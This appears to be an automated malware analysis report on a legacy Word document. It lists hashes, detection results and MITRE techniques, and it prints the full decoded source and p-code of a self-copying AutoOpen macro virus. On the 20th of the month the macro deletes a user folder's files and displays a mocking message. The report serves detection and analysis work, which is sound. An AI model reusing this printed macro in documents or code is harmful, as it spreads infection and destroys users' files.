Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3bec9212da578b87…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-04-21 03:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9c03a13e65a13024b017e7ae95d48c6f SHA-1: c360fa1a48e6dc4b4b346bc44c032445512ed29c SHA-256: 3bec9212da578b873a61a33e3255d2a1a15a097d979da48bb95c26825a35260b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic auto-exec marker and a VBA macro named 'AutoopeN', which is a common technique for malicious documents. The script attempts to copy itself and conditionally executes code on the 20th of the month to delete files from 'C:\MIS DOCUMENTIS\*.*' and display a deceptive message. This behavior strongly suggests a destructive payload disguised as a lure.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3987 bytes
SHA-256: a0b4eb02554092f672c36d3662a3adddafba7e890c171a7648fab8bdd18e046f
Detection
ClamAV: Doc.Trojan.Minimal-40
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoopeN"

Public Sub MAIN()
Dim a$
Dim b$
Dim diálogoEjem As Object
Dim botón
     'VIRUS LUPITA
     'MADE IN PERU
     On Error Resume Next
     a$ = WordBasic.[FileName$]() + ":AutoopeN"
     b$ = "Global:AUTOOPEN"
     WordBasic.MacroCopy a$, b$
     WordBasic.FileSaveAs Format:=1
     WordBasic.MacroCopy b$, a$
     If WordBasic.Day(WordBasic.Now()) = 20 Then
        WordBasic.Kill "C:\MIS DOCUMENTIS\*.*"
'*******LA CAJITA DE MENSAJE ****************
     WordBasic.BeginDialog 320, 144, "Microsoft Word"
    WordBasic.PushButton 110, 93, 97, 21, "OK", "Presionar1"
    WordBasic.Text 75, 32, 237, 33, "Los archivos de tu maquina ", "Texto1"
    WordBasic.Text 75, 49, 237, 33, "han sido borrados.....jejejeje", "Texto2"
    WordBasic.EndDialog
'********************************************
    Set diálogoEjem = WordBasic.CurValues.UserDialog
    WordBasic.DisableInput 1
    botón = WordBasic.Dialog.UserDialog(diálogoEjem)
    WordBasic.DisableInput 0
     End If

End Sub

' Processing file: /opt/analyzer/scan_staging/c008c3120b3c47f69fc48907ad61b45f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoopeN - 2564 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	Dim 
' 	VarDefn diálogoEjem (As Object)
' Line #5:
' 	Dim 
' 	VarDefn botón
' Line #6:
' 	QuoteRem 0x0005 0x000C "VIRUS LUPITA"
' Line #7:
' 	QuoteRem 0x0005 0x000C "MADE IN PERU"
' Line #8:
' 	OnError (Resume Next) 
' Line #9:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoopeN"
' 	Add 
' 	St a$ 
' Line #10:
' 	LitStr 0x000F "Global:AUTOOPEN"
' 	St B$ 
' Line #11:
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #13:
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Day 0x0001 
' 	LitDI2 0x0014 
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitStr 0x0015 "C:\MIS DOCUMENTIS\*.*"
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #16:
' 	QuoteRem 0x0000 0x002C "*******LA CAJITA DE MENSAJE ****************"
' Line #17:
' 	LitDI2 0x0140 
' 	LitDI2 0x0090 
' 	LitStr 0x000E "Microsoft Word"
' 	Ld WordBasic 
' 	ArgsMemCall BeginDialog 0x0003 
' Line #18:
' 	LitDI2 0x006E 
' 	LitDI2 0x005D 
' 	LitDI2 0x0061 
' 	LitDI2 0x0015 
' 	LitStr 0x0002 "OK"
' 	LitStr 0x000A "Presionar1"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #19:
' 	LitDI2 0x004B 
' 	LitDI2 0x0020 
' 	LitDI2 0x00ED 
' 	LitDI2 0x0021 
' 	LitStr 0x001B "Los archivos de tu maquina "
' 	LitStr 0x0006 "Texto1"
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0006 
' Line #20:
' 	LitDI2 0x004B 
' 	LitDI2 0x0031 
' 	LitDI2 0x00ED 
' 	LitDI2 0x0021 
' 	LitStr 0x001E "han sido borrados.....jejejeje"
' 	LitStr 0x0006 "Texto2"
' 	Ld WordBasic 
' 	ArgsMemCall Then 0x0006 
' Line #21:
' 	Ld WordBasic 
' 	ArgsMemCall EndDialog 0x0000 
' Line #22:
' 	QuoteRem 0x0000 0x002C "********************************************"
' Line #23:
' 	SetStmt 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	MemLd UserDialog 
' 	Set diálogoEjem 
' Line #24:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableInput 0x0001 
' Line #25:
' 	Ld diálogoEjem 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemLd UserDialog 0x0001 
' 	St botón 
' Line #26:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableInput 0x0001 
' Line #27:
' 	EndIfBlock 
' Line #28:
' Line #29:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.